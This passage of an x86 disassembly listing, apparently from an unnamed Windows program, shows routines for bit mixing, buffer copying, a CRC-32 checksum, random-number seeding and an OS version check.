		mov	ecx, [eax+0DCh]
		mov	[eax+158h], edi
		mov	edi, [eax+0B8h]
		mov	[eax+15Ch], ebx
		mov	ebx, [ebp+var_1C]
		and	ebx, edi
		mov	edi, [ebp+var_18]
		mov	[ebp+var_20], ecx
		mov	ecx, [eax-0B8h]
		and	ecx, [eax+68h]
		mov	[ebp+var_44], ebx
		xor	ecx, [ebp+var_44]
		mov	ebx, [eax+0BCh]
		xor	ecx, [eax-168h]
		and	edi, ebx
		xor	ecx, [ebp+var_24]
		xor	edx, edi
		xor	edx, [eax-164h]
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_20]
		mov	edi, ecx
		xor	edx, esi
		mov	ebx, edx
		shrd	edi, ebx, 7
		xor	ecx, edi
		shr	ebx, 7
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 5
		xor	ebx, edx
		mov	edx, [eax-0ACh]
		and	edx, [eax+74h]
		shl	edi, 5
		xor	edi, ecx
		mov	ecx, [eax+0E0h]
		mov	[eax+160h], edi
		mov	edi, [eax+0C0h]
		mov	[eax+164h], ebx
		mov	ebx, [ebp+var_24]
		and	ebx, edi
		mov	edi, [ebp+var_20]
		mov	[ebp+var_2C], ecx
		mov	ecx, [eax+0E4h]
		mov	[ebp+var_28], ecx
		mov	ecx, [eax-0B0h]
		and	ecx, [eax+70h]
		mov	[ebp+var_4C], ebx
		xor	ecx, [ebp+var_4C]
		mov	ebx, [eax+0C4h]
		xor	ecx, [eax-160h]
		and	edi, ebx
		xor	ecx, [ebp+var_2C]
		xor	edx, edi
		xor	edx, [eax-15Ch]
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_28]
		mov	edi, ecx
		xor	edx, esi
		mov	ebx, edx
		shrd	edi, ebx, 6
		shr	ebx, 6
		xor	ecx, edi
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 1Fh
		shl	edi, 1Fh
		xor	edi, ecx
		xor	ebx, edx
		mov	ecx, [eax-0A8h]
		and	ecx, [eax+78h]
		mov	edx, [eax-0A4h]
		and	edx, [eax+7Ch]
		mov	[eax+168h], edi
		mov	edi, [eax+0C8h]
		mov	[eax+16Ch], ebx
		mov	ebx, [ebp+var_2C]
		and	ebx, edi
		mov	edi, [ebp+var_28]
		mov	[ebp+var_54], ebx
		mov	ebx, [eax+0CCh]
		xor	ecx, [ebp+var_54]
		and	edi, ebx
		xor	ecx, [eax-158h]
		xor	edx, edi
		xor	edx, [eax-154h]
		xor	ecx, [eax+0E8h]
		xor	edx, [eax+0ECh]
		xor	ecx, [ebp+var_C]
		xor	edx, esi
		mov	ebx, edx
		mov	edi, ecx
		shrd	edi, ebx, 0Ch
		xor	ecx, edi
		shr	ebx, 0Ch
		xor	edx, ebx
		mov	ebx, edx
		mov	edi, ecx
		shld	ebx, edi, 9
		xor	ebx, edx
		shl	edi, 9
		xor	edi, ecx
		mov	[eax+170h], edi
		mov	[eax+174h], ebx
		mov	eax, [ebp+var_C]
		and	eax, 2425CFA0h
		mov	edx, esi
		shr	edx, 1Fh
		xor	eax, edx
		mov	edx, [ebp+var_C]
		mov	ecx, esi
		shld	esi, edx, 1
		and	ecx, 7311C281h
		xor	edi, edi
		shl	edx, 1
		xor	ecx, edi
		xor	eax, edx
		xor	ecx, esi
		dec	[ebp+var_4]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		jnz	loc_9A94FB
		pop	edi
		pop	esi
		pop	ebx

locret_9A9C7C:				; CODE XREF: sub_9A94C6+1Cj
		leave
		retn
sub_9A94C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A9C7E(int,void *Src,int,void	*Val)

sub_9A9C7E	proc near		; CODE XREF: sub_9A9E4E+DCp

arg_0		= dword	ptr  8
Src		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Val		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+Src], 0
		push	ebx
		push	edi
		mov	edi, [ebp+Val]
		mov	ebx, edi
		jnz	short loc_9A9C92
		push	9
		jmp	short loc_9A9C9A
; ---------------------------------------------------------------------------


loc_9A9C92:				; CODE XREF: sub_9A9C7E+Ej
		cmp	[ebp+arg_0], 0
		jnz	short loc_9A9CA0
		push	0Fh


loc_9A9C9A:				; CODE XREF: sub_9A9C7E+12j
		pop	eax
		jmp	loc_9A9D25
; ---------------------------------------------------------------------------


loc_9A9CA0:				; CODE XREF: sub_9A9C7E+18j
		push	esi
		mov	esi, [ebp+arg_8]
		test	esi, esi
		jl	short loc_9A9D21
		cmp	esi, 0FFh
		jg	short loc_9A9D21
		test	edi, edi
		jnz	short loc_9A9CD1
		mov	eax, esi
		shl	eax, 4
		add	eax, 59h
		push	8		; SizeOfElements
		push	eax		; NumOfElements
		call	calloc
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jnz	short loc_9A9CD1
		push	12h
		jmp	short loc_9A9D23
; ---------------------------------------------------------------------------


loc_9A9CD1:				; CODE XREF: sub_9A9C7E+34j
					; sub_9A9C7E+4Dj
		push	2C8h		; Size
		push	[ebp+Src]	; Src
		push	edi		; Dst
		call	memcpy
		push	esi
		push	edi
		call	sub_9A94C6
		shl	esi, 7
		push	80h		; Size
		lea	eax, [esi+edi+248h]
		push	eax		; Src
		push	[ebp+arg_0]	; Dst
		call	memcpy
		add	esp, 20h
		test	ebx, ebx
		jnz	short loc_9A9D1D
		add	esi, 2C8h
		push	esi		; Size
		push	ebx		; Val
		push	edi		; Dst
		call	memset
		push	edi		; Memory
		call	free
		add	esp, 10h


loc_9A9D1D:				; CODE XREF: sub_9A9C7E+85j
		xor	eax, eax
		jmp	short loc_9A9D24
; ---------------------------------------------------------------------------


loc_9A9D21:				; CODE XREF: sub_9A9C7E+28j
					; sub_9A9C7E+30j
		push	11h


loc_9A9D23:				; CODE XREF: sub_9A9C7E+51j
		pop	eax


loc_9A9D24:				; CODE XREF: sub_9A9C7E+A1j
		pop	esi


loc_9A9D25:				; CODE XREF: sub_9A9C7E+1Dj
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_9A9C7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A9D29	proc near		; CODE XREF: sub_9A9DA3+79p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cdq
		shld	edx, eax, 8
		shl	eax, 8
		mov	ecx, eax
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, edx
		cdq
		or	ecx, eax
		mov	eax, [ebp+arg_8]
		or	esi, edx
		shld	esi, ecx, 4
		shl	ecx, 4
		cdq
		or	ecx, eax
		mov	eax, [ebp+arg_C]
		or	esi, edx
		shld	esi, ecx, 10h
		shl	ecx, 10h
		cdq
		or	ecx, eax
		mov	eax, [ebp+arg_10]
		or	esi, edx
		shld	esi, ecx, 8
		cdq
		shl	ecx, 8
		or	ecx, eax
		mov	eax, [ebp+arg_14]
		or	esi, edx
		shld	esi, ecx, 0Ch
		cdq
		shl	ecx, 0Ch
		or	ecx, eax
		or	esi, edx
		mov	edx, esi
		mov	eax, ecx
		pop	esi
		pop	ebp
		retn
sub_9A9D29	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A9D87	proc near		; CODE XREF: sub_9A9DA3+4Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cdq
		mov	ecx, eax
		mov	eax, [esp+arg_4]
		cdq
		push	esi
		xor	esi, esi
		shl	ecx, 18h
		or	esi, eax
		or	ecx, edx
		mov	eax, esi
		mov	edx, ecx
		pop	esi
		retn
sub_9A9D87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A9DA3	proc near		; CODE XREF: sub_9A9E4E+C5p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Src		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h
arg_2C		= dword	ptr  34h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_4]
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	0Fh
		pop	esi
		mov	eax, edi
		sub	ecx, edi
		mov	[ebp+arg_0], esi


loc_9A9DBB:				; CODE XREF: sub_9A9DA3+2Aj
		mov	edx, [ecx+eax]
		mov	[eax], edx
		mov	edx, [ecx+eax+4]
		mov	[eax+4], edx
		add	eax, 8
		dec	[ebp+arg_0]
		jnz	short loc_9A9DBB
		mov	ecx, [ebp+arg_8]
		xor	eax, eax


loc_9A9DD4:				; CODE XREF: sub_9A9DA3+44j
		mov	edx, [ecx+eax*8]
		mov	[edi+esi*8], edx
		mov	edx, [ecx+eax*8+4]
		mov	[edi+esi*8+4], edx
		inc	esi
		inc	eax
		cmp	eax, 8
		jl	short loc_9A9DD4
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	sub_9A9D87
		mov	[ebp+Src], eax
		push	8		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		lea	eax, [edi+esi*8]
		push	eax		; Dst
		mov	[ebp+var_4], edx
		call	memcpy
		push	[ebp+arg_28]
		inc	esi
		push	[ebp+arg_24]
		push	[ebp+arg_20]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		call	sub_9A9D29
		mov	[ebp+var_10], eax
		push	8		; Size
		lea	eax, [ebp+var_10]
		push	eax		; Src
		lea	esi, [edi+esi*8]
		push	esi		; Dst
		mov	[ebp+var_C], edx
		call	memcpy
		push	200h		; Size
		push	[ebp+arg_2C]	; Src
		add	esi, 8
		push	esi		; Dst
		call	memcpy
		add	esp, 44h
		pop	edi
		pop	esi
		leave
		retn
sub_9A9DA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A9E4E	proc near		; CODE XREF: sub_9A8FF3+BEp

Val		= byte ptr -9F08h
Src		= byte ptr -2C8h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h
arg_2C		= dword	ptr  34h

		push	ebp
		mov	ebp, esp
		mov	eax, 9F08h
		call	__alloca_probe
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jnz	short loc_9A9E67
		push	0Fh
		jmp	short loc_9A9E6E
; ---------------------------------------------------------------------------


loc_9A9E67:				; CODE XREF: sub_9A9E4E+13j
		cmp	[ebp+arg_2C], edi
		jnz	short loc_9A9E74
		push	0Ah


loc_9A9E6E:				; CODE XREF: sub_9A9E4E+17j
		pop	eax
		jmp	loc_9A9F40
; ---------------------------------------------------------------------------


loc_9A9E74:				; CODE XREF: sub_9A9E4E+1Cj
		xor	ecx, ecx
		push	esi
		mov	esi, [ebp+arg_14]
		mov	eax, 0FFh
		cmp	esi, eax
		setnle	cl
		xor	edx, edx
		cmp	esi, edi
		setl	dl
		or	ecx, edx
		jz	short loc_9A9E96
		push	11h
		jmp	loc_9A9F3E
; ---------------------------------------------------------------------------


loc_9A9E96:				; CODE XREF: sub_9A9E4E+3Fj
		xor	ecx, ecx
		cmp	[ebp+arg_18], eax
		setnle	cl
		xor	edx, edx
		cmp	[ebp+arg_18], edi
		setl	dl
		or	ecx, edx
		jz	short loc_9A9EB1
		push	10h
		jmp	loc_9A9F3E
; ---------------------------------------------------------------------------


loc_9A9EB1:				; CODE XREF: sub_9A9E4E+5Aj
		cmp	[ebp+arg_C], edi
		jl	loc_9A9F3C
		cmp	[ebp+arg_C], eax
		jg	short loc_9A9F3C
		cmp	[ebp+arg_20], edi
		jl	short loc_9A9F38
		cmp	[ebp+arg_20], 1000h
		jg	short loc_9A9F38
		cmp	[ebp+arg_28], edi
		jle	short loc_9A9F34
		cmp	[ebp+arg_28], 200h
		jg	short loc_9A9F34
		cmp	[ebp+arg_8], edi
		jnz	short loc_9A9EE4
		push	0Dh
		jmp	short loc_9A9F3E
; ---------------------------------------------------------------------------


loc_9A9EE4:				; CODE XREF: sub_9A9E4E+90j
		cmp	[ebp+arg_4], edi
		jnz	short loc_9A9EED
		push	0Eh
		jmp	short loc_9A9F3E
; ---------------------------------------------------------------------------


loc_9A9EED:				; CODE XREF: sub_9A9E4E+99j
		push	[ebp+arg_2C]
		lea	eax, [ebp+Src]
		push	[ebp+arg_28]
		push	[ebp+arg_24]
		push	[ebp+arg_20]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_9A9DA3
		lea	eax, [ebp+Val]
		push	eax		; Val
		push	esi		; int
		lea	eax, [ebp+Src]
		push	eax		; Src
		push	[ebp+arg_0]	; int
		call	sub_9A9C7E
		add	esp, 40h
		jmp	short loc_9A9F3F
; ---------------------------------------------------------------------------


loc_9A9F34:				; CODE XREF: sub_9A9E4E+82j
					; sub_9A9E4E+8Bj
		push	2
		jmp	short loc_9A9F3E
; ---------------------------------------------------------------------------


loc_9A9F38:				; CODE XREF: sub_9A9E4E+74j
					; sub_9A9E4E+7Dj
		push	0Ch
		jmp	short loc_9A9F3E
; ---------------------------------------------------------------------------


loc_9A9F3C:				; CODE XREF: sub_9A9E4E+66j
					; sub_9A9E4E+6Fj
		push	0Bh


loc_9A9F3E:				; CODE XREF: sub_9A9E4E+43j
					; sub_9A9E4E+5Ej ...
		pop	eax


loc_9A9F3F:				; CODE XREF: sub_9A9E4E+E4j
		pop	esi


loc_9A9F40:				; CODE XREF: sub_9A9E4E+21j
		pop	edi
		leave
		retn
sub_9A9E4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_9A9F43	proc near		; CODE XREF: sub_9B1F68+63p

VersionInformation= _OSVERSIONINFOA ptr	-0A0h
var_C		= word ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 0A0h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+78h+var_4], eax
		lea	eax, [ebp+78h+VersionInformation]
		push	eax		; lpVersionInformation
		mov	[ebp+78h+VersionInformation.dwOSVersionInfoSize], 9Ch
		call	GetVersionExA
		test	eax, eax
		jnz	short loc_9A9F72


loc_9A9F6D:				; CODE XREF: sub_9A9F43+35j
					; sub_9A9F43+4Ej ...
		push	0Ah
		pop	eax
		jmp	short loc_9A9F9F
; ---------------------------------------------------------------------------


loc_9A9F72:				; CODE XREF: sub_9A9F43+28j
		cmp	[ebp+78h+VersionInformation.dwMajorVersion], 5
		jb	short loc_9A9F9A
		jnz	short loc_9A9F6D
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], 0
		jz	short loc_9A9F9A
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], 1
		jnz	short loc_9A9F8D
		cmp	[ebp+78h+var_C], 2
		jb	short loc_9A9F9A


loc_9A9F8D:				; CODE XREF: sub_9A9F43+41j
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], 2
		jnz	short loc_9A9F6D
		cmp	[ebp+78h+var_C], 1
		jnb	short loc_9A9F6D


loc_9A9F9A:				; CODE XREF: sub_9A9F43+33j
					; sub_9A9F43+3Bj ...
		mov	eax, 3E8h


loc_9A9F9F:				; CODE XREF: sub_9A9F43+2Dj
		mov	ecx, [ebp+78h+var_4]
		xor	ecx, ebp
		call	sub_9AAAC1
		add	ebp, 78h
		leave
		retn
sub_9A9F43	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A9FAE	proc near		; CODE XREF: sub_9A3C63+80p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	edi
		or	edi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_9A9FE2
		mov	edx, [esp+4+arg_0]
		push	ebx
		push	esi


loc_9A9FC0:				; CODE XREF: sub_9A9FAE+30j
		movzx	ecx, byte ptr [edx]
		push	8
		inc	edx
		pop	esi


loc_9A9FC7:				; CODE XREF: sub_9A9FAE+2Dj
		mov	ebx, ecx
		xor	ebx, edi
		shr	edi, 1
		test	bl, 1
		jz	short loc_9A9FD8
		xor	edi, 0EDB88320h


loc_9A9FD8:				; CODE XREF: sub_9A9FAE+22j
		shr	ecx, 1
		dec	esi
		jnz	short loc_9A9FC7
		dec	eax
		jnz	short loc_9A9FC0
		pop	esi
		pop	ebx


loc_9A9FE2:				; CODE XREF: sub_9A9FAE+Aj
		mov	eax, edi
		pop	edi
		retn
sub_9A9FAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A9FE6(int,int,void *Dst)

sub_9A9FE6	proc near		; CODE XREF: sub_9AA577+90p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Dst		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+Dst]
		push	edi
		push	9C0h		; Size
		push	8Bh		; Val
		push	esi		; Dst
		call	memset
		and	dword ptr [esi+9C4h], 0
		mov	ebx, [ebp+arg_4]
		add	esp, 0Ch
		inc	ebx
		mov	edi, 270h
		cmp	ebx, edi
		mov	[esi+9C0h], esi
		jg	short loc_9AA020
		mov	ebx, edi


loc_9AA020:				; CODE XREF: sub_9A9FE6+36j
		mov	edx, [esi+4C8h]
		mov	ecx, [esi+9BCh]
		xor	ecx, edx
		xor	ecx, [esi]
		and	[ebp+Dst], 0
		mov	eax, ecx
		shr	eax, 1Bh
		xor	eax, ecx
		imul	eax, 19660Dh
		add	edx, eax
		add	eax, [ebp+arg_4]
		mov	[esi+4C8h], edx
		mov	ecx, [esi+9C0h]
		add	[ecx+4F4h], eax
		mov	ecx, [esi+9C0h]
		mov	[ecx], eax
		xor	ecx, ecx
		dec	ebx
		inc	ecx
		test	ebx, ebx
		mov	[ebp+var_8], ebx
		jle	loc_9AA19B


loc_9AA06F:				; CODE XREF: sub_9A9FE6+123j
		mov	eax, [ebp+arg_4]
		cmp	[ebp+Dst], eax
		jge	loc_9AA10F
		lea	eax, [ecx+132h]
		cdq
		mov	ebx, edi
		idiv	ebx
		mov	eax, [esi+9C0h]
		lea	eax, [eax+edx*4]
		mov	[ebp+var_4], eax
		lea	eax, [ecx+26Fh]
		cdq
		idiv	ebx
		mov	eax, edx
		mov	edx, [esi+9C0h]
		mov	eax, [edx+eax*4]
		xor	eax, [edx+ecx*4]
		mov	edx, [ebp+var_4]
		mov	ebx, [edx]
		xor	eax, ebx
		mov	edx, eax
		shr	edx, 1Bh
		xor	edx, eax
		mov	eax, [ebp+var_4]
		imul	edx, 19660Dh
		add	ebx, edx
		mov	[eax], ebx
		mov	ebx, [ebp+Dst]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+ebx*4]
		add	eax, ecx
		add	edx, eax
		mov	[ebp+var_4], edx
		lea	eax, [ecx+13Dh]
		cdq
		mov	ebx, edi
		idiv	ebx
		mov	eax, [esi+9C0h]
		mov	ebx, [ebp+var_8]
		lea	eax, [eax+edx*4]
		mov	edx, [ebp+var_4]
		add	[eax], edx
		mov	eax, [esi+9C0h]
		mov	[eax+ecx*4], edx
		lea	eax, [ecx+1]
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	[ebp+Dst]
		cmp	[ebp+Dst], ebx
		mov	ecx, edx
		jl	loc_9AA06F


loc_9AA10F:				; CODE XREF: sub_9A9FE6+8Fj
		cmp	[ebp+Dst], ebx
		jge	loc_9AA19B
		sub	ebx, [ebp+Dst]
		mov	[ebp+arg_4], ebx


loc_9AA11E:				; CODE XREF: sub_9A9FE6+1B3j
		lea	eax, [ecx+132h]
		cdq
		mov	ebx, edi
		idiv	ebx
		mov	eax, [esi+9C0h]
		lea	eax, [eax+edx*4]
		mov	[ebp+var_4], eax
		lea	eax, [ecx+26Fh]
		cdq
		idiv	ebx
		mov	eax, [esi+9C0h]
		mov	edx, [eax+edx*4]
		xor	edx, [eax+ecx*4]
		mov	eax, [ebp+var_4]
		mov	ebx, [eax]
		xor	edx, ebx
		mov	eax, edx
		shr	eax, 1Bh
		xor	eax, edx
		mov	edx, [ebp+var_4]
		imul	eax, 19660Dh
		add	ebx, eax
		add	eax, ecx
		mov	[ebp+var_4], eax
		mov	[edx], ebx
		lea	eax, [ecx+13Dh]
		cdq
		mov	ebx, edi
		idiv	ebx
		mov	eax, [esi+9C0h]
		lea	eax, [eax+edx*4]
		mov	edx, [ebp+var_4]
		add	[eax], edx
		mov	eax, [esi+9C0h]
		mov	[eax+ecx*4], edx
		lea	eax, [ecx+1]
		cdq
		mov	ecx, edi
		idiv	ecx
		dec	[ebp+arg_4]
		mov	ecx, edx
		jnz	short loc_9AA11E


loc_9AA19B:				; CODE XREF: sub_9A9FE6+83j
					; sub_9A9FE6+12Cj
		mov	[ebp+arg_4], edi


loc_9AA19E:				; CODE XREF: sub_9A9FE6+238j
		lea	eax, [ecx+132h]
		cdq
		mov	ebx, edi
		idiv	ebx
		mov	eax, [esi+9C0h]
		lea	eax, [eax+edx*4]
		mov	[ebp+var_4], eax
		mov	eax, [eax]
		mov	[ebp+Dst], eax
		lea	eax, [ecx+26Fh]
		cdq
		idiv	ebx
		mov	ebx, [ebp+Dst]
		mov	eax, edx
		mov	edx, [esi+9C0h]
		mov	eax, [edx+eax*4]
		add	eax, [edx+ecx*4]
		add	eax, ebx
		mov	edx, eax
		shr	edx, 1Bh
		xor	edx, eax
		mov	eax, [ebp+var_4]
		imul	edx, 5D588B65h
		xor	ebx, edx
		mov	[eax], ebx
		sub	edx, ecx
		mov	[ebp+var_4], edx
		lea	eax, [ecx+13Dh]
		cdq
		mov	ebx, edi
		idiv	ebx
		mov	eax, [esi+9C0h]
		lea	eax, [eax+edx*4]
		mov	edx, [ebp+var_4]
		xor	[eax], edx
		mov	eax, [esi+9C0h]
		mov	[eax+ecx*4], edx
		lea	eax, [ecx+1]
		cdq
		mov	ecx, edi
		idiv	ecx
		dec	[ebp+arg_4]
		mov	ecx, edx
		jnz	loc_9AA19E
		mov	ecx, [esi+9C0h]
		mov	[esi+9C4h], edi
		mov	eax, offset dword_9B8778
		xor	edi, edi
		sub	ecx, eax


loc_9AA239:				; CODE XREF: sub_9A9FE6+262j
		mov	edx, [ecx+eax]
		and	edx, [eax]
		add	eax, 4
		xor	edi, edx
		cmp	eax, offset dword_9B8788
		jl	short loc_9AA239
		push	10h
		pop	ecx


loc_9AA24D:				; CODE XREF: sub_9A9FE6+271j
		mov	eax, edi
		sar	eax, cl
		sar	ecx, 1
		xor	edi, eax
		test	ecx, ecx
		jg	short loc_9AA24D
		and	edi, 1
		jnz	short loc_9AA293
		xor	ecx, ecx


loc_9AA260:				; CODE XREF: sub_9A9FE6+2ABj
		cmp	ecx, 10h
		jge	short loc_9AA293
		mov	eax, dword_9B8778[ecx]
		xor	edx, edx
		inc	edx
		xor	ebx, ebx


loc_9AA270:				; CODE XREF: sub_9A9FE6+294j
		test	eax, edx
		jnz	short loc_9AA27E
		shl	edx, 1
		inc	ebx
		cmp	ebx, 20h
		jl	short loc_9AA270
		jmp	short loc_9AA28B
; ---------------------------------------------------------------------------


loc_9AA27E:				; CODE XREF: sub_9A9FE6+28Cj
		mov	eax, [esi+9C0h]
		add	eax, ecx
		xor	[eax], edx
		xor	edi, edi
		inc	edi


loc_9AA28B:				; CODE XREF: sub_9A9FE6+296j
		add	ecx, 4
		cmp	edi, 1
		jnz	short loc_9AA260


loc_9AA293:				; CODE XREF: sub_9A9FE6+276j
					; sub_9A9FE6+27Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9A9FE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AA298	proc near		; CODE XREF: sub_9AA638+10p

var_44		= dword	ptr -44h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+9C4h], 270h
		jl	loc_9AA55D
		lea	ecx, [eax+9A0h]
		push	ebx
		mov	[ebp+var_4], ecx
		push	esi
		lea	ecx, [eax+9B0h]
		add	eax, 7A8h
		mov	[ebp+var_8], 22h
		push	edi


loc_9AA2CF:				; CODE XREF: sub_9AA298+16Ej
		mov	edi, [eax-7A8h]
		mov	esi, [eax-7A4h]
		mov	[ebp+var_10], edi
		xor	edx, edx
		or	edx, edi
		mov	edi, [eax-7A0h]
		xor	ebx, ebx
		or	esi, ebx
		mov	[ebp+var_24], esi
		mov	[ebp+var_C], esi
		shld	esi, edx, 8
		shl	edx, 8
		mov	[ebp+var_18], edx
		xor	edx, edx
		or	edx, edi
		mov	[ebp+var_14], esi
		mov	esi, [eax-79Ch]
		or	esi, ebx
		mov	edi, esi
		shld	edi, edx, 8
		shl	edx, 8
		mov	esi, edx
		mov	edx, edi
		mov	edi, [ebp+var_24]
		shr	edi, 18h
		or	esi, edi
		mov	edi, [ebp+var_4]
		or	edx, ebx
		mov	[ebp+var_44], edx
		mov	edx, [edi+0Ch]
		mov	edi, [edi+8]
		or	edx, ebx
		mov	[ebp+var_30], esi
		xor	esi, esi
		or	esi, edi
		mov	edi, esi
		shrd	edi, edx, 8
		mov	[ebp+var_20], edi
		xor	edi, edi
		shr	edx, 8
		mov	[ebp+var_1C], edx
		mov	edx, [ebp+var_4]
		mov	edx, [edx+4]
		or	edx, ebx
		mov	[ebp+var_C], esi
		or	esi, edi
		mov	edi, [ebp+var_4]
		mov	edi, [edi]
		shr	edi, 8
		shld	esi, edx, 18h
		shl	edx, 18h
		or	edx, edi
		mov	edi, [ebp+var_1C]
		mov	[ebp+var_34], edi
		mov	edi, [eax-8]
		shr	edi, 0Bh
		and	edi, 1FFFEFh
		or	esi, ebx
		mov	ebx, [ecx]
		shl	ebx, 12h
		xor	edi, ebx
		xor	edi, edx
		xor	edi, [ebp+var_10]
		lea	edx, [eax-7A8h]
		xor	edi, [ebp+var_18]
		mov	[edx], edi
		mov	edi, [eax-4]
		mov	ebx, [ecx+4]
		shr	edi, 0Bh
		and	edi, 1ECB7Fh
		shl	ebx, 12h
		xor	edi, ebx
		xor	edi, [eax-7A4h]
		xor	edi, esi
		xor	edi, [ebp+var_14]
		mov	[eax-7A4h], edi
		mov	esi, [eax]
		mov	edi, [ecx+8]
		shr	esi, 0Bh
		and	esi, 1AFFFFh
		shl	edi, 12h
		xor	esi, edi
		xor	esi, [ebp+var_20]
		add	eax, 10h
		xor	esi, [ebp+var_30]
		mov	[ebp+var_4], ecx
		xor	[eax-7B0h], esi
		mov	esi, [eax-0Ch]
		mov	edi, [ecx+0Ch]
		shr	esi, 0Bh
		and	esi, 1FFFF6h
		shl	edi, 12h
		xor	esi, edi
		xor	esi, [eax-7ACh]
		mov	ecx, edx
		xor	esi, [ebp+var_34]
		xor	esi, [ebp+var_44]
		dec	[ebp+var_8]
		mov	[eax-7ACh], esi
		jnz	loc_9AA2CF
		mov	eax, [ebp+arg_0]
		add	eax, 8
		mov	[ebp+var_8], 7Ah


loc_9AA419:				; CODE XREF: sub_9AA298+2B2j
		mov	edi, [eax+218h]
		mov	esi, [eax+21Ch]
		mov	[ebp+var_C], edi
		xor	edx, edx
		or	edx, edi
		mov	edi, [eax+220h]
		xor	ebx, ebx
		or	esi, ebx
		mov	[ebp+var_2C], esi
		mov	[ebp+var_10], esi
		shld	esi, edx, 8
		shl	edx, 8
		mov	[ebp+var_20], edx
		xor	edx, edx
		or	edx, edi
		mov	[ebp+var_1C], esi
		mov	esi, [eax+224h]
		or	esi, ebx
		mov	edi, esi
		shld	edi, edx, 8
		shl	edx, 8
		mov	esi, edx
		mov	edx, edi
		mov	edi, [ebp+var_2C]
		shr	edi, 18h
		or	esi, edi
		mov	edi, [ebp+var_4]
		or	edx, ebx
		mov	[ebp+var_34], edx
		mov	edx, [edi+0Ch]
		mov	edi, [edi+8]
		or	edx, ebx
		mov	[ebp+var_28], esi
		xor	esi, esi
		or	esi, edi
		mov	edi, esi
		shrd	edi, edx, 8
		mov	[ebp+var_18], edi
		xor	edi, edi
		shr	edx, 8
		mov	[ebp+var_14], edx
		mov	edx, [ebp+var_4]
		mov	edx, [edx+4]
		or	edx, ebx
		mov	[ebp+var_10], esi
		or	esi, edi
		mov	edi, [ebp+var_4]
		mov	edi, [edi]
		shr	edi, 8
		shld	esi, edx, 18h
		shl	edx, 18h
		or	edx, edi
		mov	edi, [ebp+var_14]
		mov	[ebp+var_44], edi
